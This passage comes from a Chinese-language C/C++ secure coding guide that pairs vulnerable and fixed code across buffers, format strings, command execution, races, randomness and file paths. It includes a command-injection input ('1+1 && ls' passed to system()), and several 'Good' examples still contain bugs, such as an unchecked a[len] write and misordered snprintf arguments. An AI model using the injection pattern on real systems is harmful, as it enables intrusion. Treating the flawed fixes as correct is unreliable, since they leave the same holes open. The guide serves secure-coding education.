snprintf(buf, sizeof(buf) - 1, "foobar ...", ...);
```
一些需要注意的函数,例如`strncpy`和`_snprintf`是不安全的。 `strncpy`不应当被视为`strcpy`的n系列函数,它只是恰巧与其他n系列函数名字很像而已。`strncpy`在复制时,如果复制的长度超过n,不会在结尾补\0。
同样,MSVC `_snprintf`系列函数在超过或等于n时也不会以0结尾。如果后续使用非0结尾的字符串,可能泄露相邻的内容或者导致程序崩溃。
```c++
// Bad
char a[4] = {0};
_snprintf(a, 4, "%s", "AAAA");
foo = strlen(a);
```
上述代码在MSVC中执行后, a[4] == 'A',因此字符串未以0结尾。a的内容是"AAAA",调用`strlen(a)`则会越界访问。因此,正确的操作举例如下:
```c++
// Good
char a[4] = {0};
_snprintf(a, sizeof(a), "%s", "AAAA");
a[sizeof(a) - 1] = '\0';
foo = strlen(a);
```
在 C++ 中,强烈建议用 `string`、`vector` 等更高封装层次的基础组件代替原始指针和动态数组,对提高代码的可读性和安全性都有很大的帮助。
关联漏洞:
`中风险-信息泄露`
`低风险-拒绝服务`
`高风险-缓冲区溢出`
<a id="1.1.2"></a>
#### 1.2 【必须】创建进程类的函数的安全规范
system、WinExec、CreateProcess、ShellExecute等启动进程类的函数,需要严格检查其参数。
启动进程需要加上双引号,错误例子:
```c++
// Bad
WinExec("D:\\program files\\my folder\\foobar.exe", SW_SHOW);
```
当存在`D:\program files\my.exe`的时候,my.exe会被启动。而foobar.exe不会启动。
```c++
// Good
WinExec("\"D:\\program files\\my folder\\foobar.exe\"", SW_SHOW);
```
另外,如果启动时从用户输入、环境变量读取组合命令行时,还需要注意是否可能存在命令注入。
```c++
// Bad
std::string cmdline = "calc ";
cmdline += user_input;
system(cmdline.c_str());
```
比如,当用户输入`1+1 && ls`时,执行的实际上是calc 1+1和ls 两个命令,导致命令注入。
需要检查用户输入是否含有非法数据。
```c++
// Good
std::string cmdline = "ls ";
cmdline += user_input;
if(cmdline.find_first_not_of("1234567890.+-*/e ") == std::string::npos)
system(cmdline.c_str());
else
warning(...);
```
关联漏洞:
`高风险-代码执行`
`高风险-权限提升`
<a id="1.1.3"></a>
#### 1.3 【必须】尽量减少使用 _alloca 和可变长度数组
_alloca 和[可变长度数组](https://zh.wikipedia.org/wiki/%E5%8F%AF%E5%8F%98%E9%95%BF%E6%95%B0%E7%BB%84)使用的内存量在编译期间不可知。尤其是在循环中使用时,根据编译器的实现不同,可能会导致:(1)栈溢出,即拒绝服务; (2)缺少栈内存测试的编译器实现可能导致申请到非栈内存,并导致内存损坏。这在栈比较小的程序上,例如IoT设备固件上影响尤为大。对于 C++,可变长度数组也属于非标准扩展,在代码规范中禁止使用。
错误示例:
```c++
// Bad
for (int i = 0; i < 100000; i++) {
char* foo = (char *)_alloca(0x10000);
..do something with foo ..;
}
void Foo(int size) {
char msg[size]; // 不可控的栈溢出风险!
}
```
正确示例:
```c++
// Good
// 改用动态分配的堆内存
for (int i = 0; i < 100000; i++) {
char * foo = (char *)malloc(0x10000);
..do something with foo ..;
if (foo_is_no_longer_needed) {
free(foo);
foo = NULL;
}
}
void Foo(int size) {
std::string msg(size, '\0'); // C++
char* msg = malloc(size); // C
}
```
关联漏洞:
`低风险-拒绝服务`
`高风险-内存破坏`
<a id="1.1.4"></a>
#### 1.4 【必须】printf系列参数必须对应
所有printf系列函数,如sprintf,snprintf,vprintf等必须对应控制符号和参数。
错误示例:
```c++
// Bad
const int buf_size = 1000;
char buffer_send_to_remote_client[buf_size] = {0};
snprintf(buffer_send_to_remote_client, buf_size, "%d: %p", id, some_string); // %p 应为 %s
buffer_send_to_remote_client[buf_size - 1] = '\0';
send_to_remote(buffer_send_to_remote_client);
```
正确示例:
```c++
// Good
const int buf_size = 1000;
char buffer_send_to_remote_client[buf_size] = {0};
snprintf(buffer_send_to_remote_client, buf_size, "%d: %s", id, some_string);
buffer_send_to_remote_client[buf_size - 1] = '\0';
send_to_remote(buffer_send_to_remote_client);
```
前者可能会让client的攻击者获取部分服务器的原始指针地址,可以用于破坏ASLR保护。
关联漏洞:
`中风险-信息泄露`
<a id="1.1.5"></a>
#### 1.5 【必须】防止泄露指针(包括%p)的值
所有printf系列函数,要防止格式化完的字符串泄露程序布局信息。例如,如果将带有%p的字符串泄露给程序,则可能会破坏ASLR的防护效果。使得攻击者更容易攻破程序。
%p的值只应当在程序内使用,而不应当输出到外部或被外部以某种方式获取。
错误示例:
```c++
// Bad
// 如果这是暴露给客户的一个API:
uint64_t GetUniqueObjectId(const Foo* pobject) {
return (uint64_t)pobject;
}
```
正确示例:
```c++
// Good
uint64_t g_object_id = 0;
void Foo::Foo() {
this->object_id_ = g_object_id++;
}
// 如果这是暴露给客户的一个API:
uint64_t GetUniqueObjectId(const Foo* object) {
if (object)
return object->object_id_;
else
error(...);
}
```
关联漏洞:
`中风险-信息泄露`
<a id="1.1.6"></a>
#### 1.6 【必须】不应当把用户可修改的字符串作为printf系列函数的“format”参数
如果用户可以控制字符串,则通过 %n %p 等内容,最坏情况下可以直接执行任意恶意代码。
在以下情况尤其需要注意: WIFI名,设备名……
错误:
```c++
snprintf(buf, sizeof(buf), wifi_name);
```
正确:
```c++
snprinf(buf, sizeof(buf), "%s", wifi_name);
```
关联漏洞:
`高风险-代码执行`
`高风险-内存破坏`
`中风险-信息泄露`
`低风险-拒绝服务`
<a id="1.1.7"></a>
#### 1.7 【必须】对数组delete时需要使用delete[]
delete []操作符用于删除数组。delete操作符用于删除非数组对象。它们分别调用operator delete[]和operator delete。
```c++
// Bad
Foo* b = new Foo[5];
delete b; // trigger assert in DEBUG mode
```
在new[]返回的指针上调用delete将是取决于编译器的未定义行为。代码中存在对未定义行为的依赖是错误的。
```c++
// Good
Foo* b = new Foo[5];
delete[] b;
```
在 C++ 代码中,使用 `string`、`vector`、智能指针(比如[std::unique_ptr<T[]>](https://zh.cppreference.com/w/cpp/memory/unique_ptr))等可以消除绝大多数 `delete[]` 的使用场景,并且代码更清晰。
关联漏洞:
`高风险-内存破坏`
`中风险-逻辑漏洞`
`低风险-内存泄漏`
`低风险-拒绝服务`
<a id="1.1.8"></a>
#### 1.8【必须】注意隐式符号转换
两个无符号数相减为负数时,结果应当为一个很大的无符号数,但是小于int的无符号数在运算时可能会有预期外的隐式符号转换。
```c++
// 1
unsigned char a = 1;
unsigned char b = 2;
if (a - b < 0) // a - b = -1 (signed int)
a = 6;
else
a = 8;
// 2
unsigned char a = 1;
unsigned short b = 2;
if (a - b < 0) // a - b = -1 (signed int)
a = 6;
else
a = 8;
```
上述结果均为a=6
```c++
// 3
unsigned int a = 1;
unsigned short b = 2;
if (a - b < 0) // a - b = 0xffffffff (unsigned int)
a = 6;
else
a = 8;
// 4
unsigned int a = 1;
unsigned int b = 2;
if (a - b < 0) // a - b = 0xffffffff (unsigned int)
a = 6;
else
a = 8;
```
上述结果均为a=8
如果预期为8,则错误代码:
```c++
// Bad
unsigned short a = 1;
unsigned short b = 2;
if (a - b < 0) // a - b = -1 (signed int)
a = 6;
else
a = 8;
```
正确代码:
```c++
// Good
unsigned short a = 1;
unsigned short b = 2;
if ((unsigned int)a - (unsigned int)b < 0) // a - b = 0xffff (unsigned short)
a = 6;
else
a = 8;
```
关联漏洞:
`中风险-逻辑漏洞`
<a id="1.1.9"></a>
#### 1.9【必须】注意八进制问题
代码对齐时应当使用空格或者编辑器自带的对齐功能,谨慎在数字前使用0来对齐代码,以免不当将某些内容转换为八进制。
例如,如果预期为20字节长度的缓冲区,则下列代码存在错误。buf2为020(OCT)长度,实际只有16(DEC)长度,在memcpy后越界:
```c++
// Bad
char buf1[1024] = {0};
char buf2[0020] = {0};
memcpy(buf2, somebuf, 19);
```
应当在使用8进制时明确注明这是八进制。
```c++
// Good
int access_mask = 0777; // oct, rwxrwxrwx
```
关联漏洞:
`中风险-逻辑漏洞`
<a id="1.2"></a>
### 2 不推荐的编程习惯
<a id="1.2.1"></a>
#### 2.1 【必须】switch中应有default
switch中应该有default,以处理各种预期外的情况。这可以确保switch接受用户输入,或者后期在其他开发者修改函数后确保switch仍可以覆盖到所有情况,并确保逻辑正常运行。
```c++
// Bad
int Foo(int bar) {
switch (bar & 7) {
case 0:
return Foobar(bar);
break;
case 1:
return Foobar(bar * 2);
break;
}
}
```
例如上述代码switch的取值可能从0~7,所以应当有default:
```c++
// Good
int Foo(int bar) {
switch (bar & 7) {
case 0:
return Foobar(bar);
break;
case 1:
return Foobar(bar * 2);
break;
default:
return -1;
}
}
```
关联漏洞:
`中风险-逻辑漏洞`
`中风险-内存泄漏`
<a id="1.2.2"></a>
#### 2.2 【必须】不应当在Debug或错误信息中提供过多内容
包含过多信息的Debug消息不应当被用户获取到。Debug信息可能会泄露一些值,例如内存数据、内存地址等内容,这些内容可以帮助攻击者在初步控制程序后,更容易地攻击程序。
```c++
// Bad
int Foo(int* bar) {
if (bar && *bar == 5) {
OutputDebugInfoToUser("Wrong value for bar %p = %d\n", bar, *bar);
}
}
```
而应该:
```c++
// Good
int foo(int* bar) {
#ifdef DEBUG
if (bar && *bar == 5) {
OutputDebugInfo("Wrong value for bar.\n");
}
#endif
}
```
关联漏洞:
`中风险-信息泄漏`
<a id="1.2.3"></a>
#### 2.3 【必须】不应该在客户端代码中硬编码对称加密秘钥
不应该在客户端代码中硬编码对称加密秘钥。例如:不应在客户端代码使用硬编码的 AES/ChaCha20-Poly1305/SM1 密钥,使用固定密钥的程序基本和没有加密一样。
如果业务需求是认证加密数据传输,应优先考虑直接用 HTTPS 协议。
如果是其它业务需求,可考虑由服务器端生成对称秘钥,客户端通过 HTTPS 等认证加密通信渠道从服务器拉取。
或者根据用户特定的会话信息,比如登录认证过程可以根据用户名用户密码业务上下文等信息,使用 HKDF 等算法衍生出对称秘钥。
又或者使用 RSA/ECDSA + ECDHE 等进行认证秘钥协商,生成对称秘钥。
```c++
// Bad
char g_aes_key[] = {...};
void Foo() {
....
AES_func(g_aes_key, input_data, output_data);
}
```
可以考虑在线为每个用户获取不同的密钥:
```c++
// Good
char* g_aes_key;
void Foo() {
....
AES_encrypt(g_aes_key, input_data, output_data);
}
void Init() {
g_aes_key = get_key_from_https(user_id, ...);
}
```
关联漏洞:
`中风险-信息泄露`
<a id="1.2.4"></a>
#### 2.4 【必须】返回栈上变量的地址
函数不可以返回栈上的变量的地址,其内容在函数返回后就会失效。
```c++
// Bad
char* Foo(char* sz, int len){
char a[300] = {0};
if (len > 100) {
memcpy(a, sz, 100);
}
a[len] = '\0';
return a; // WRONG
}
```
而应当使用堆来传递非简单类型变量。
```c++
// Good
char* Foo(char* sz, int len) {
char* a = new char[300];
if (len > 100) {
memcpy(a, sz, 100);
}
a[len] = '\0';
return a; // OK
}
```
对于 C++ 程序来说,强烈建议返回 `string`、`vector` 等类型,会让代码更加简单和安全。
关联漏洞:
`高风险-内存破坏`
<a id="1.2.5"></a>
#### 2.5 【必须】有逻辑联系的数组必须仔细检查
例如下列程序将字符串转换为week day,但是两个数组并不一样长,导致程序可能会越界读一个int。
```c++
// Bad
int nWeekdays[] = {1, 2, 3, 4, 5, 6};
const char* sWeekdays[] = {"Mon", "Tue", "Wed", "Thu", "Fri", "Sat", "Sun"};
for (int x = 0; x < ARRAY_SIZE(sWeekdays); x++) {
if (strcmp(sWeekdays[x], input) == 0)
return nWeekdays[x];
}
```
应当确保有关联的nWeekdays和sWeekdays数据统一。
```c++
// Good
const int nWeekdays[] = {1, 2, 3, 4, 5, 6, 7};
const char* sWeekdays[] = {"Mon", "Tue", "Wed", "Thu", "Fri", "Sat", "Sun"};
assert(ARRAY_SIZE(nWeekdays) == ARRAY_SIZE(sWeekdays));
for (int x = 0; x < ARRAY_SIZE(sWeekdays); x++) {
if (strcmp(sWeekdays[x], input) == 0) {
return nWeekdays[x];
}
}
```
关联漏洞:
`高风险-内存破坏`
<a id="1.2.6"></a>
#### 2.6 【必须】避免函数的声明和实现不同
在头文件、源代码、文档中列举的函数声明应当一致,不应当出现定义内容错位的情况。
错误:
foo.h
```c++
int CalcArea(int width, int height);
```
foo.cc
```c++
int CalcArea(int height, int width) { // Different from foo.h
if (height > real_height) {
return 0;
}
return height * width;
}
```
正确:
foo.h
```c++
int CalcArea(int height, int width);
```
foo.cc
```c++
int CalcArea (int height, int width) {
if (height > real_height) {
return 0;
}
return height * width;
}
```
关联漏洞:
`中风险-逻辑问题`
<a id="1.2.7"></a>
#### 2.7 【必须】检查复制粘贴的重复代码(相同代码通常代表错误)
当开发中遇到较长的句子时,如果你选择了复制粘贴语句,请记得检查每一行代码,不要出现上下两句一模一样的情况,这通常代表代码哪里出现了错误:
```c++
// Bad
void Foobar(SomeStruct& foobase, SomeStruct& foo1, SomeStruct& foo2) {
foo1.bar = (foo1.bar & 0xffff) | (foobase.base & 0xffff0000);
foo1.bar = (foo1.bar & 0xffff) | (foobase.base & 0xffff0000);
}
```
如上例,通常可能是:
```c++
// Good
void Foobar(SomeStruct& foobase, SomeStruct& foo1, SomeStruct& foo2) {
foo1.bar = (foo1.bar & 0xffff) | (foobase.base & 0xffff0000);
foo2.bar = (foo2.bar & 0xffff) | (foobase.base & 0xffff0000);
}
```
最好是把重复的代码片段提取成函数,如果函数比较短,可以考虑定义为 `inline` 函数,在减少冗余的同时也能确保不会影响性能。
关联漏洞:
`中风险-逻辑问题`
<a id="1.2.8"></a>
#### 2.8 【必须】左右一致的重复判断/永远为真或假的判断(通常代表错误)
这通常是由于自动完成或例如Visual Assistant X之类的补全插件导致的问题。
```c++
// Bad
if (foo1.bar == foo1.bar) {
…
}
```
可能是:
```c++
// Good
if (foo1.bar == foo2.bar) {
…
}
```
关联漏洞:
`中风险-逻辑问题`
<a id="1.2.9"></a>
#### 2.9 【必须】函数每个分支都应有返回值
函数的每个分支都应该有返回值,否则如果函数走到无返回值的分支,其结果是未知的。
```c++
// Bad
int Foo(int bar) {
if (bar > 100) {
return 10;
} else if (bar > 10) {
return 1;
}
}
```
上述例子当bar<10时,其结果是未知的值。
```c++
// Good
int Foo(int bar) {
if (bar > 100) {
return 10;
} else if (bar > 10) {
return 1;
}
return 0;
}
```
开启适当级别的警告(GCC 中为 `-Wreturn-type` 并已包含在 `-Wall` 中)并设置为错误,可以在编译阶段发现这类错误。
关联漏洞:
`中风险-逻辑问题`
`中风险-信息泄漏`
<a id="1.2.10"></a>
#### 2.10 【必须】不得使用栈上未初始化的变量
在栈上声明的变量要注意是否在使用它之前已经初始化了
```c++
// Bad
void Foo() {
int foo;
if (Bar()) {
foo = 1;
}
Foobar(foo); // foo可能没有初始化
}
```
最好在声明的时候就立刻初始化变量,或者确保每个分支都初始化它。开启相应的编译器警告(GCC 中为 `-Wuninitialized`),并把设置为错误级别,可以在编译阶段发现这类错误。
```c++
// Good
void Foo() {
int foo = 0;
if (Bar()) {
foo = 1;
}
Foobar(foo);
}
```
关联漏洞:
`中风险-逻辑问题`
`中风险-信息泄漏`
<a id="1.2.11"></a>
#### 2.11 【建议】不得直接使用刚分配的未初始化的内存(如realloc)
一些刚申请的内存通常是直接从堆上分配的,可能包含有旧数据的,直接使用它们而不初始化,可能会导致安全问题。例如,CVE-2019-13751。应确保初始化变量,或者确保未初始化的值不会泄露给用户。
```c++
// Bad
char* Foo() {
char* a = new char[100];
a[99] = '\0';
memcpy(a, "char", 4);
return a;
}
```
```c++
// Good
char* Foo() {
char* a = new char[100];
memcpy(a, "char", 4);
a[4] = '\0';
return a;
}
```
在 C++ 中,再次强烈推荐用 `string`、`vector` 代替手动内存分配。
关联漏洞:
`中风险-逻辑问题`
`中风险-信息泄漏`
<a id="1.2.12"></a>
#### 2.12 【必须】校验内存相关函数的返回值
与内存分配相关的函数需要检查其返回值是否正确,以防导致程序崩溃或逻辑错误。
```c++
// Bad
void Foo() {
char* bar = mmap(0, 0x800000, .....);
*(bar + 0x400000) = '\x88'; // Wrong
}
```
如上例mmap如果失败,bar的值将是0xffffffff (ffffffff),第二行将会往0x3ffffff写入字符,导致越界写。
```c++
// Good
void Foo() {
char* bar = mmap(0, 0x800000, .....);
if(bar == MAP_FAILED) {
return;
}
*(bar + 0x400000) = '\x88';
}
```
关联漏洞:
`中风险-逻辑问题`
`高风险-越界操作`
<a id="1.2.13"></a>
#### 2.13 【必须】不要在if里面赋值
if里赋值通常代表代码存在错误。
```c++
// Bad
void Foo() {
if (bar = 0x99) ...
}
```
通常应该是:
```c++
// Good
void Foo() {
if (bar == 0x99) ...
}
```
建议在构建系统中开启足够的编译器警告(GCC 中为 `-Wparentheses` 并已包含在 `-Wall` 中),并把该警告设置为错误。
关联漏洞:
`中风险-逻辑问题`
<a id="1.2.14"></a>
#### 2.14 【建议】确认if里面的按位操作
if里,非bool类型和非bool类型的按位操作可能代表代码存在错误。
```c++
// Bad
void Foo() {
int bar = 0x1; // binary 01
int foobar = 0x2; // binary 10
if (foobar & bar) // result = 00, false
...
}
```
上述代码可能应该是:
```c++
// Good
void foo() {
int bar = 0x1;
int foobar = 0x2;
if (foobar && bar) // result : true
...
}
```
关联漏洞:
`中风险-逻辑问题`
<a id="1.3"></a>
### 3 多线程
<a id="1.3.1"></a>
#### 3.1 【必须】变量应确保线程安全性
当一个变量可能被多个线程使用时,应当使用原子操作或加锁操作。
```c++
// Bad
char g_somechar;
void foo_thread1() {
g_somechar += 3;
}
void foo_thread2() {
g_somechar += 1;
}
```
对于可以使用原子操作的,应当使用一些可以确保内存安全的操作,如:
```c++
// Good
volatile char g_somechar;
void foo_thread1() {
__sync_fetch_and_add(&g_somechar, 3);
}
void foo_thread2() {
__sync_fetch_and_add(&g_somechar, 1);
}
```
对于 C 代码,`C11` 后推荐使用 [atomic](https://en.cppreference.com/w/c/atomic) 标准库。
对于 C++代码,`C++11` 后,推荐使用 [`std::atomic`](https://zh.cppreference.com/w/cpp/atomic/atomic)。
关联漏洞:
`高风险-内存破坏`
`中风险-逻辑问题`
<a id="1.3.2"></a>
#### 3.2 【必须】注意signal handler导致的条件竞争
竞争条件经常出现在信号处理程序中,因为信号处理程序支持异步操作。攻击者能够利用信号处理程序争用条件导致软件状态损坏,从而可能导致拒绝服务甚至代码执行。
1. 当信号处理程序中发生不可重入函数或状态敏感操作时,就会出现这些问题。因为信号处理程序中随时可以被调用。比如,当在信号处理程序中调用`free`时,通常会出现另一个信号争用条件,从而导致双重释放。即使给定指针在释放后设置为`NULL`,在释放内存和将指针设置为`NULL`之间仍然存在竞争的可能。
2. 为多个信号设置了相同的信号处理程序,这尤其有问题——因为这意味着信号处理程序本身可能会重新进入。例如,malloc()和free()是不可重入的,因为它们可能使用全局或静态数据结构来管理内存,并且它们被syslog()等看似无害的函数间接使用;这些函数可能会导致内存损坏和代码执行。
```c++
// Bad
char *log_message;
void Handler(int signum) {
syslog(LOG_NOTICE, "%s\n", log_m_essage);
free(log_message);
sleep(10);
exit(0);
}
int main (int argc, char* argv[]) {
log_message = strdup(argv[1]);
signal(SIGHUP, Handler);
signal(SIGTERM, Handler);
sleep(10);
}
```
可以借由下列操作规避问题:
1. 避免在多个处理函数中共享某些变量。
2. 在信号处理程序中使用同步操作。
3. 屏蔽不相关的信号,从而提供原子性。
4. 避免在信号处理函数中调用不满足[异步信号安全](https://www.man7.org/linux/man-pages/man7/signal-safety.7.html)的函数。
关联漏洞:
`高风险-内存破坏`
`中风险-逻辑问题`
<a id="1.3.3"></a>
#### 3.3 【建议】注意Time-of-check Time-of-use (TOCTOU) 条件竞争
TOCTOU: 软件在使用某个资源之前检查该资源的状态,但是该资源的状态可以在检查和使用之间更改,从而使检查结果无效。当资源处于这种意外状态时,这可能会导致软件执行错误操作。
当攻击者可以影响检查和使用之间的资源状态时,此问题可能与安全相关。这可能发生在共享资源(如**文件、内存**,甚至多线程程序中的**变量**)上。在编程时需要注意避免出现TOCTOU问题。
例如,下面的例子中,该文件可能已经在检查和lstat之间进行了更新,特别是因为printf有延迟。
```c++
struct stat *st;
lstat("...", st);
printf("foo");
if (st->st_mtimespec == ...) {
printf("Now updating things\n");
UpdateThings();
}
```
TOCTOU难以修复,但是有以下缓解方案:
1. 限制对来自多个进程的文件的交叉操作。
2. 如果必须在多个进程或线程之间共享对资源的访问,那么请尝试限制”检查“(CHECK)和”使用“(USE)资源之间的时间量,使他们相距尽量不要太远。这不会从根本上解决问题,但可能会使攻击更难成功。
3. 在Use调用之后重新检查资源,以验证是否正确执行了操作。
4. 确保一些环境锁定机制能够被用来有效保护资源。但要确保锁定是检查之前进行的,而不是在检查之后进行的,以便检查时的资源与使用时的资源相同。
关联漏洞:
`高风险-内存破坏`
`中风险-逻辑问题`
<a id="1.4"></a>
### 4 加密解密
<a id="1.4.1"></a>
#### 4.1 【必须】不得明文存储用户密码等敏感数据
用户密码应该使用 Argon2, scrypt, bcrypt, pbkdf2 等算法做哈希之后再存入存储系统, https://password-hashing.net/
https://libsodium.gitbook.io/doc/password_hashing/default_phf#example-2-password-storage
用户敏感数据,应该做到传输过程中加密,存储状态下加密
传输过程中加密,可以使用 HTTPS 等认证加密通信协议
存储状态下加密,可以使用 SQLCipher 等类似方案。
<a id="1.4.2"></a>
#### 4.2 【必须】内存中的用户密码等敏感数据应该安全抹除
例如用户密码等,即使是临时使用,也应在使用完成后应当将内容彻底清空。
错误:
```c++
#include <openssl/crypto.h>
#include <unistd.h>
{
...
string user_password(100, '\0');
snprintf(&user_password, "password: %s", user_password.size(), password_from_input);
...
}
```
正确:
```c++
{
...
string user_password(100, '\0');
snprintf(&user_password, "password: %s", user_password.size(), password_from_input);
...
OPENSSL_cleanse(&user_password[0], user_password.size());
}
```
关联漏洞:
`高风险-敏感信息泄露`
<a id="1.4.3"></a>
#### 4.3 【必须】rand() 类函数应正确初始化
rand类函数的随机性并不高。而且在使用前需要使用srand()来初始化。未初始化的随机数可能导致某些内容可预测。
```c++
// Bad
int main() {
int foo = rand();
return 0;
}
```
上述代码执行完成后,foo的值是固定的。它等效于 `srand(1); rand();`。
```c++
// Good
int main() {
srand(time(0));
int foo = rand();
return 0;
}
```
关联漏洞:
`高风险-逻辑漏洞`
<a id="1.4.4"></a>
#### 4.4 【必须】在需要高强度安全加密时不应使用弱PRNG函数
在需要生成 AES/SM1/HMAC 等算法的密钥/IV/Nonce, RSA/ECDSA/ECDH 等算法的私钥,这类需要高安全性的业务场景,必须使用密码学安全的随机数生成器 (Cryptographically Secure PseudoRandom Number Generator (CSPRNG) ), 不得使用 `rand()` 等无密码学安全性保证的普通随机数生成器。
推荐使用的 CSPRNG 有:
1. OpenSSL 中的 `RAND_bytes()` 函数, https://www.openssl.org/docs/man1.1.1/man3/RAND_bytes.html
1. libsodium 中的 `randombytes_buf()` 函数
1. Linux kernel 的 `getrandom()` 系统调用, https://man7.org/linux/man-pages/man2/getrandom.2.html .
或者读 /dev/urandom 文件, 或者 /dev/random 文件。
1. Apple IOS 的 `SecRandomCopyBytes()`, https://developer.apple.com/documentation/security/1399291-secrandomcopybytes
1. Windows 下的 `BCryptGenRandom()`, `CryptGenRandom()`, `RtlGenRandom()`
```c++
#include <openssl/aes.h>
#include <openssl/crypto.h>
#include <openssl/rand.h>
#include <unistd.h>
{
unsigned char key[16];
if (1 != RAND_bytes(&key[0], sizeof(key))) { //... 错误处理
return -1;
}
AES_KEY aes_key;
if (0 != AES_set_encrypt_key(&key[0], sizeof(key) * 8, &aes_key)) {
// ... 错误处理
return -1;
}
...
OPENSSL_cleanse(&key[0], sizeof(key));
}
```
`rand()`类函数的随机性并不高。敏感操作时,如设计加密算法时,不得使用rand()或者类似的简单线性同余伪随机数生成器来作为随机数发生器。符合该定义的比特序列的特点是,序列中“1”的数量约等于“0”的数量;同理,“01”、“00”、“10”、“11”的数量大致相同,以此类推。
例如 C 标准库中的 `rand()` 的实现只是简单的[线性同余算法](https://sourceware.org/git/?p=glibc.git;a=blob;f=stdlib/random_r.c;hb=glibc-2.28#l353),生成的伪随机数具有较强的可预测性。
当需要实现高强度加密,例如涉及通信安全时,不应当使用 `rand()` 作为随机数发生器。
实际应用中,[ C++11 标准提供的`random_device`保证加密的安全性和随机性](https://docs.microsoft.com/en-us/cpp/standard-library/random-device-class?redirectedfrom=MSDN&view=vs-2019#remarks)
但是 [C++ 标准并不保证这一点](https://stackoverflow.com/questions/44867500/is-stdrandom-device-cryptographic-secure)。跨平台的代码可以考虑用 [OpenSSL](https://wiki.openssl.org/index.php/Random_Numbers) 等保证密码学安全的库里的随机数发生器。
关联漏洞:
`高风险-敏感数据泄露`
<a id="1.4.5"></a>
#### 4.5 【必须】自己实现的rand范围不应过小
如果在弱安全场景相关的算法中自己实现了PRNG,请确保rand出来的随机数不会很小或可预测。
```c++
// Bad
int32_t val = ((state[0] * 1103515245U) + 12345U) & 999999;
```
上述例子可能想生成0~999999共100万种可能的随机数,但是999999的二进制是11110100001000111111,与&运算后,0位一直是0,所以生成出的范围明显会小于100万种。
```c++
// Good
int32_t val = ((state[0] * 1103515245U) + 12345U) % 1000000;
// Good
int32_t val = ((state[0] * 1103515245U) + 12345U) & 0x7fffffff;
```
关联漏洞:
`高风险-逻辑漏洞`
<a id="1.5"></a>
### 5 文件操作
<a id="1.5.1"></a>
#### 5.1 【必须】避免路径穿越问题
在进行文件操作时,需要判断外部传入的文件名是否合法,如果文件名中包含 `../` 等特殊字符,则会造成路径穿越,导致任意文件的读写。
错误:
```c++
void Foo() {
char file_path[PATH_MAX] = "/home/user/code/";
// 如果传入的文件名包含../可导致路径穿越
// 例如"../file.txt",则可以读取到上层目录的file.txt文件
char name[20] = "../file.txt";
memcpy(file_path + strlen(file_path), name, sizeof(name));
int fd = open(file_path, O_RDONLY);
if (fd != -1) {
char data[100] = {0};
int num = 0;
memset(data, 0, sizeof(data));
num = read(fd, data, sizeof(data));
if (num > 0) {
write(STDOUT_FILENO, data, num);
}
close(fd);
}
}
```
正确:
```c++
void Foo() {
char file_path[PATH_MAX] = "/home/user/code/";
char name[20] = "../file.txt";
// 判断传入的文件名是否非法,例如"../file.txt"中包含非法字符../,直接返回
if (strstr(name, "..") != NULL){
// 包含非法字符
return;
}
memcpy(file_path + strlen(file_path), name, sizeof(name));
int fd = open(file_path, O_RDONLY);
if (fd != -1) {
char data[100] = {0};
int num = 0;
memset(data, 0, sizeof(data));
num = read(fd, data, sizeof(data));
if (num > 0) {
write(STDOUT_FILENO, data, num);
}
close(fd);
}
}
```
关联漏洞:
`高风险-逻辑漏洞`
<a id="1.5.2"></a>
#### 5.2 【必须】避免相对路径导致的安全问题(DLL、EXE劫持等问题)
在程序中,使用相对路径可能导致一些安全风险,例如DLL、EXE劫持等问题。
例如以下代码,可能存在劫持问题:
```c++
int Foo() {
// 传入的是dll文件名,如果当前目录下被写入了恶意的同名dll,则可能导致dll劫持
HINSTANCE hinst = ::LoadLibrary("dll_nolib.dll");
if (hinst != NULL) {
cout<<"dll loaded!" << endl;
}
return 0;
}
```
针对DLL劫持的安全编码的规范:
1)调用LoadLibrary,LoadLibraryEx,CreateProcess,ShellExecute等进行模块加载的函数时,指明模块的完整(全)路径,禁止使用相对路径,这样就可避免从其它目录加载DLL。
2)在应用程序的开头调用SetDllDirectory(TEXT("")); 从而将当前目录从DLL的搜索列表中删除。结合SetDefaultDllDirectories,AddDllDirectory,RemoveDllDirectory这几个API配合使用,可以有效的规避DLL劫持问题。这些API只能在打了KB2533623补丁的Windows7,2008上使用。
关联漏洞:
`中风险-逻辑漏洞`
<a id="1.5.3"></a>
#### 5.3 【必须】文件权限控制
在创建文件时,需要根据文件的敏感级别设置不同的访问权限,以防止敏感数据被其他恶意程序读取或写入。
错误:
```c++
int Foo() {
// 不要设置为777权限,以防止被其他恶意程序操作
if (creat("file.txt", 0777) < 0) {
printf("文件创建失败!\n");
} else {
printf("文件创建成功!\n");
}
return 0;
}
```
关联漏洞:
`中风险-逻辑漏洞`
<a id="1.6"></a>
### 6 内存操作
<a id="1.6.1"></a>
#### 6.1 【必须】防止各种越界写(向前/向后)
错误1:
```c++
int a[5];
a[5] = 0;
```
错误2:
```c++
int a[5];
int b = user_controlled_value;
a[b] = 3;
```
关联漏洞:
`高风险-内存破坏`
<a id="1.6.2"></a>
#### 6.2 【必须】防止任意地址写
任意地址写会导致严重的安全隐患,可能导致代码执行。因此,在编码时必须校验写入的地址。
错误:
```c++
void Write(MyStruct dst_struct) {
char payload[10] = { 0 };
memcpy(dst_struct.buf, payload, sizeof(payload));
}
int main() {
MyStruct dst_stuct;
dst_stuct.buf = (char*)user_controlled_value;
Write(dst_stuct);
return 0;
}
```
关联漏洞:
`高风险-内存破坏`
<a id="1.7"></a>
### 7 数字操作
<a id="1.7.1"></a>
#### 7.1 【必须】防止整数溢出
在计算时需要考虑整数溢出的可能,尤其在进行内存操作时,需要对分配、拷贝等大小进行合法校验,防止整数溢出导致的漏洞。
错误(该例子在计算时产生整数溢出)
```c++
const int kMicLen = 4;
// 整数溢出
void Foo() {
int len = 1;
char payload[10] = { 0 };
char dst[10] = { 0 };
// Bad, 由于len小于4,导致计算拷贝长度时,整数溢出
// len - kMicLen == 0xfffffffd
memcpy(dst, payload, len - kMicLen);
}
```
正确例子
```c++
void Foo() {
int len = 1;
char payload[10] = { 0 };
char dst[10] = { 0 };
int size = len - kMicLen;
// 拷贝前对长度进行判断
if (size > 0 && size < 10) {
memcpy(dst, payload, size);
printf("memcpy good\n");
}
}
```
关联漏洞:
`高风险-内存破坏`
<a id="1.7.2"></a>
#### 7.2 【必须】防止Off-By-One
在进行计算或者操作时,如果使用的最大值或最小值不正确,使得该值比正确值多1或少1,可能导致安全风险。
错误:
```c++
char firstname[20];
char lastname[20];
char fullname[40];
fullname[0] = '\0';
strncat(fullname, firstname, 20);
// 第二次调用strncat()可能会追加另外20个字符。如果这20个字符没有终止空字符,则存在安全问题
strncat(fullname, lastname, 20);
```
正确:
```c++
